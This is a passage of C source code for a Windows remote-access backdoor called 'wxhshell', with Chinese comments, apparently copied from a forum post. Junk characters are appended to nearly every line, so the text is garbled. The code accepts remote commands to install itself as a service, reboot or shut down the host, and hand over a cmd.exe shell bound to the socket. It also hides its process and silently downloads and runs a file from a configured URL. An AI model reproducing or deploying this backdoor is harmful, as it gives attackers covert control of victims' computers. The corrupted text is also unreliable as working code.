  else { d0YDNP%,_  
E+)3n[G  
    switch(cmd[0]) { q8#zv_>K  
  aYW 9 C<5  
  // 帮助 0o7*5| T4  
  case '?': { gM>geWB<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,v,#f .  
    break; =# 0f4z  
  } wwUa+6?  
  // 安装 OXp(rJ*bK  
  case 'i': { stQRl_('  
    if(Install()) B63puX{u#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?2y2O ,;  
    else P.aN4 9`=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iC2``[m"  
    break; A{|^_1  
    } {#y~ Qk;T  
  // 卸载 e|> 5 R  
  case 'r': { _xY dnTEl  
    if(Uninstall()) >UNx<=ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l]R=I2t  
    else < #FxI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '-X[T}  
    break; s k_TKN`+  
    } w#}[=jy  
  // 显示 wxhshell 所在路径 ,i)wS1@  
  case 'p': { '9u(9S  
    char svExeFile[MAX_PATH]; @k+ K_gR  
    strcpy(svExeFile,"\n\r"); R`KlG/Tk  
      strcat(svExeFile,ExeFile); :_k5[KT.]9  
        send(wsh,svExeFile,strlen(svExeFile),0); ~)CGwST[  
    break; Q%r KKOX8  
    } ghGpi U$  
  // 重启 ZSvU1T8  
  case 'b': { P"[\p|[U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ij5|P4Eka  
    if(Boot(REBOOT)) 0hg4y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[Im].  
    else { ?`T Q'#P`  
    closesocket(wsh); r(j:C%?}C  
    ExitThread(0); o3W@)|>  
    } #(7^V y&  
    break; :lW8f~!  
    } b|pp}il  
  // 关机 [[#zB-|  
  case 'd': { uN&UYJ' B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [>D5(O  
    if(Boot(SHUTDOWN)) 1 R,SA:L$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LM9  
    else { AO]k*N,N  
    closesocket(wsh); nc3u sq  
    ExitThread(0); !?)aZ |r  
    } J4%"38l  
    break; ZZM;%i-B  
    } ]TVc 'G;  
  // 获取shell #(}'G*  
  case 's': { f cnv[B..{  
    CmdShell(wsh); $MqEM~^=  
    closesocket(wsh); 0SR[)ma  
    ExitThread(0); %mAwK<MY`  
    break; J@A^k1B  
  } 1}R\L"  
  // 退出 {ub'   
  case 'x': { ivg W[]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f}EsS  
    CloseIt(wsh); .Zc:$"gDu  
    break; T 9FGuit9  
    } QtA@p  
  // 离开 r:M0# 2   
  case 'q': { N :OLN[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dDA,Ps  
    closesocket(wsh); N6Dv1_c,  
    WSACleanup(); t>P[Yld"  
    exit(1); e=+q*]>  
    break; >}B53.;.k  
        } d ATAH}r&  
  } LJA uTg  
  } #y'p4Xf  
~l('ly  
  // 提示信息 Pv|sPIIB7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @~&|BvK% \  
} &14xYpD<  
  } m=TZfa^r  
^fV-m&F)K*  
  return; qOAP_\@T  
} -Un"z6*  
#r,!-;^'p  
// shell模块句柄 [b3$em<^JV  
int CmdShell(SOCKET sock) ^ U);MH8  
{ 0+K<;5"63d  
STARTUPINFO si; 8@ S@^C*F  
ZeroMemory(&si,sizeof(si)); W6RjQ1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^A=2#j~H\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \O]kf>nC  
PROCESS_INFORMATION ProcessInfo; &UVqF o  
char cmdline[]="cmd"; 0KZ$v/m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :;;k+Sw3  
  return 0; wb%4f6i  
} .@\(ay  
Tkn8W j  
// 自身启动模式 (:^YfG~e  
int StartFromService(void) Rp!"c  
{ mz<X$2]?  
typedef struct qoZe<jW (  
{ G5lBCm   
  DWORD ExitStatus; vs>Pd |p;  
  DWORD PebBaseAddress; TEbIU8{Y  
  DWORD AffinityMask; 11Uu5e!.  
  DWORD BasePriority; W)^%/lAh  
  ULONG UniqueProcessId; t~$8sG\  
  ULONG InheritedFromUniqueProcessId; -c{Y+M`  
}   PROCESS_BASIC_INFORMATION; a|DCpU}  
t. HwX9  
PROCNTQSIP NtQueryInformationProcess; qW /&.  
'UTMEN&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (=j/"Mb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dA<SVk*0Q  
\9~Q+~@{G  
  HANDLE             hProcess; Urol)_3X  
  PROCESS_BASIC_INFORMATION pbi; ftQ;$@  
1r5Z$3t\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JxKd  
  if(NULL == hInst ) return 0; 8Pva]Q  
>[~`rOU*|Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2@Q5Ta #h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L=.@hs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i>C%[dk9  
@LY[kt6o  
  if (!NtQueryInformationProcess) return 0; =4L%A=]`  
` +)Bl%*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CYsLyk  
  if(!hProcess) return 0; 79D;0  
r oBb o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?T,a(m<i {  
xgtx5tg  
  CloseHandle(hProcess); N7GZ'-t^Er  
'j?H >'t{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sxdDI?W4  
if(hProcess==NULL) return 0; N/1xc1$SB  
ys:F  
HMODULE hMod; I|2dV9y  
char procName[255]; '}OAl  
unsigned long cbNeeded; E 0OHl  
Pj*]%V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9|NF)~Q}'  
di ]CYLf  
  CloseHandle(hProcess); ]ki) (Bb  
k4en/&  
if(strstr(procName,"services")) return 1; // 以服务启动 gt=@v())  
#KuBEHr  
  return 0; // 注册表启动 zQ+ %^DT1  
} s!]QG  
-zZb]8\E  
// 主模块 9`CJhu  
int StartWxhshell(LPSTR lpCmdLine) P%d3fFzK  
{ AbQ nx%$u  
  SOCKET wsl; ?B`c <H"  
BOOL val=TRUE; 'b6qEU#  
  int port=0; )EcfEym.>  
  struct sockaddr_in door; ^rGuyW#  
LaL{ ^wP  
  if(wscfg.ws_autoins) Install(); 9)n3f^,Oj*  
-vh\XO  
port=atoi(lpCmdLine); o*[[nK*fL  
qZlL6  
if(port<=0) port=wscfg.ws_port; 31F^38  
[Kb)Q{=)  
  WSADATA data; DweF8c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p77=~s  
C?<[oQb#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oHF,k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d_ &~^*>  
  door.sin_family = AF_INET; > lI2r}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gEmsPk,  
  door.sin_port = htons(port); sqj8I"<`  
P` Gb }]rW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &O5&pet  
closesocket(wsl); ' R= OeH  
return 1; {>Qs+]  
} v5FfxDvw  
"ER= c3 t  
  if(listen(wsl,2) == INVALID_SOCKET) { y+7A?"s)  
closesocket(wsl); ApcE)mjpc  
return 1; @[5]?8\o  
} kPSi6ci  
  Wxhshell(wsl); L f;Uv[^c  
  WSACleanup(); < [17&F0  
K~qKr<)  
return 0; uK[gI6M  
DRRy5+,I  
} D&6.> wt .  
Q:]v4 /MT  
// 以NT服务方式启动 .|y{1?f_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =[)2DJC  
{ Fl\kt.G  
DWORD   status = 0; '=UsN_@  
  DWORD   specificError = 0xfffffff; uzT>|uu$  
C-(O*hK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K48 QkZ_gY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tU-jtJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '~xjaa;.  
  serviceStatus.dwWin32ExitCode     = 0; \obM}caT  
  serviceStatus.dwServiceSpecificExitCode = 0; I.1(qbPkF+  
  serviceStatus.dwCheckPoint       = 0; f%%'M.is  
  serviceStatus.dwWaitHint       = 0; 1+ V<-I@{  
De49!{\a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8]JlYe  
  if (hServiceStatusHandle==0) return; g7K<"Z {M  
>NA{**$0  
status = GetLastError(); )2b bG4:N  
  if (status!=NO_ERROR) G+ NTn\  
{ .b<wNUzP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p8z"Jn2P  
    serviceStatus.dwCheckPoint       = 0; @Z@S;RWSU  
    serviceStatus.dwWaitHint       = 0; 'uLYah  
    serviceStatus.dwWin32ExitCode     = status; &G7@lz@sK+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;!<@Fm9W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FNXVd/{M3  
    return; 21~~=+)X  
  } r6e!";w:U  
r m dG"s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S{~j5tQv^q  
  serviceStatus.dwCheckPoint       = 0; }ct*<zj[~u  
  serviceStatus.dwWaitHint       = 0; s1zkkLw`*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zi,":KDz#  
} R-\"^BV#Z  
<}AmzeHr+  
// 处理NT服务事件,比如:启动、停止 n s&(g^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dkOERVRe  
{ ~h444Hp=  
switch(fdwControl) o%v,6yv  
{ UG,n q  
case SERVICE_CONTROL_STOP: l4q7,%G  
  serviceStatus.dwWin32ExitCode = 0; &fifOF#[ e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +9_E+H'?!  
  serviceStatus.dwCheckPoint   = 0; V(n3W=#kky  
  serviceStatus.dwWaitHint     = 0; Y1 6pT  
  { l78 :.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 6S>xnN  
  } ,+RoJwi m  
  return; v0 |"[qGb  
case SERVICE_CONTROL_PAUSE: f2{qj5 K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %l)~C%T  
  break; - o sxKT:  
case SERVICE_CONTROL_CONTINUE: b]\V~ZaXG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8?k.4{?  
  break; @#| R{5=+  
case SERVICE_CONTROL_INTERROGATE: < nyk:E  
  break; l,1.6  
}; -!ERe@k(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C,3yu,'  
} \E EU G^T  
\ffU15@N  
// 标准应用程序主函数 lV2MRxI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ij1g2^],4  
{ =|bW >y  
IN94[yW{1  
// 获取操作系统版本 1V1T1  
OsIsNt=GetOsVer(); .(zZTyZr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aV?r%'~Z  
c)=UX_S!  
  // 从命令行安装 }#U3vMx(  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q@#Gm9m  
8^dsx1U#  
  // 下载执行文件 @7<m.?A!  
if(wscfg.ws_downexe) { 2E}^'o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =;A~$[g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 78<QNl Kn  
} `o!a RX  
Y{ 2xokJ N  
if(!OsIsNt) { EAjo>GLI  
// 如果时win9x,隐藏进程并且设置为注册表启动 64qQ:D7C  
HideProc(); &g-uQBQI#  
StartWxhshell(lpCmdLine); &:)e   
} {p@uj_pS  
else f7QX"p&P  
  if(StartFromService()) uDi#a~m@  
  // 以服务方式启动 >~^##bIb  
  StartServiceCtrlDispatcher(DispatchTable); $U/_8^6B0  
else {01wW1  
  // 普通方式启动 q! U'DDEP  
  StartWxhshell(lpCmdLine); *npe]cC  
j>OB<4?.+  
return 0; CDM==Xa*  
}
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只看该作者 1 发表于: 2006-10-10
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